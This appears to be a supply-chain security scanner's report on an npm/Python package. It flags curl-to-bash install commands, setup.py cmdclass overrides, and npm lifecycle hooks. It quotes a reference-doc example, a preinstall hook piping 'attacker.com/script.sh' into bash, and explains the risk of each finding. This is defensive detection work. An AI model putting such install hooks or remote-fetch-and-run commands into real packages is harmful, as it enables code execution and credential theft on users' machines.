install-makefile-curl
HIGHMakefile/script pipes remote content to shell
package/lib/installer.js:719
console.log(' ' + chalk.white('⑥ NVM + Node') + chalk.dim(' (required for Node-based MCP servers):'));
console.log(' ' + chalk.cyan('curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.40.1/install.sh | bash'));
console.log(' ' + chalk.cyan('source ~/.bashrc && nvm install --lts'));Why was this flagged?
A script or Makefile pipes content from a remote URL directly into a shell (curl | sh or wget | bash). This is inherently dangerous because the remote content can change at any time, and the command runs with the current user's permissions. Rated HIGH because it requires manual execution (unlike install hooks) but still executes arbitrary remote code.
install-setup-py-cmdclass
CRITICALsetup.py overrides cmdclass — may execute code during install
package/src/.agents/skills/security-review/references/supply-chain.md:277
setup(
cmdclass={'install': PostInstall}
)Why was this flagged?
This package overrides Python's setup.py cmdclass, which allows arbitrary code to execute during pip install. This is the primary attack vector for malicious PyPI packages — attackers use it to steal credentials, install backdoors, or download additional payloads before the developer ever runs the code. Rated CRITICAL because it executes automatically with no user interaction required.
install-npm-postinstall
CRITICALnpm lifecycle script — runs automatically on install
package/src/.agents/skills/security-review/references/supply-chain.md:258
"scripts": {
"preinstall": "curl https://attacker.com/script.sh | bash", // DANGEROUS
"postinstall": "node ./malicious.js", // CHECK THISWhy was this flagged?
npm lifecycle scripts like postinstall run automatically during package installation with no user interaction required. This is the #1 attack vector for malicious npm packages — attackers embed data theft or backdoor installation in these hooks. Rated CRITICAL because code executes before the developer can review it.

install-pip-setup-exec
CRITICALsetup.py executes code at install time
package/src/.agents/skills/security-review/references/supply-chain.md:276
setup(
cmdclass={'install': PostInstall}Why was this flagged?
This setup.py calls subprocess, os.system, exec, or eval during package installation. Legitimate packages rarely need to execute arbitrary commands at install time. This pattern is commonly used by malicious packages to download and run payloads, exfiltrate environment variables, or establish persistence. Rated CRITICAL because it runs with the installer's full permissions.

A script or Makefile pipes content from a remote URL directly into a shell (curl | sh or wget | bash). This is inherently dangerous because the remote content can change at any time, and the command runs with the current user's permissions. Rated HIGH because it requires manual execution (unlike install hooks) but still executes arbitrary remote code.
